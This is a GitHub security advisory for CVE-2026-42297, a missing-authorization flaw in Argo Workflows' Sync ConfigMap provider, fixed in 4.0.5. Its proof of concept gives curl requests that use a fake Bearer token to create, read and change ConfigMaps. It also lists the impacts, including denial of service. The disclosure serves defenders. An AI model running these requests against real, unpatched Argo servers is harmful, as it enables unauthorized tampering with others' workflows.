GitHub Advisoryadvisory · Go
GHSA-xchc-cqwg-g76q Argo has Missing Authorization in its Sync ConfigMap Provider
HIGH
Official page ↗
- Aliases
- CVE-2026-42297
- Ecosystem
- Go
- Packages
- github.com/argoproj/argo-workflows/v4
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H
- Weaknesses
- CWE-862
- Reviewed
- 2026-05-04
Affected packages
• Go github.com/argoproj/argo-workflows/v4: >= 4.0.0, < 4.0.5 → fixed in 4.0.5
Description
Summary
The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details
The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:
```go
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
// NO auth.CanI check
kubeClient := auth.GetKubeClient(ctx)
configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
// ... directly creates/updates ConfigMaps
}
```
• `server/sync/sync_cm.go` — lines 23-155
• All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`
PoC
Prerequisites
• Argo Server running with `--auth-mode=server`
• Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`
Step 1: Create Sync Limit (Fake Token)
```bash
curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'
```
Result: `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}`
Verify ConfigMap was created in Kubernetes:
```bash
kubectl get configmap test-sync -n default
```
```
NAME DATA AGE
test-sync 1 74s
```
Step 2: Read Sync Limit (Fake Token)
```bash
curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
-H "Authorization: Bearer fake-token"
```
Result: `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}`
Step 3: Update Sync Limit (Fake Token)
```bash
curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'
```
Result: `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}`
Verify the ConfigMap was actually modified:
```bash
kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
```
```
999
```
Impact
An attacker with network access to the Argo Server can:
1. Denial of Service — Set sync limits to `0` or `1`, blocking all parallel workflow execution
2. Workflow Disruption — Modify existing sync limits to break running workflows
3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration
4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
• CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check)
• CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Related
Alias · CVE (1)
- CVE-2026-42297 Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness
References
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q web
- https://nvd.nist.gov/vuln/detail/CVE-2026-42297 advisory
- https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6 web
- https://github.com/argoproj/argo-workflows package
- https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5 web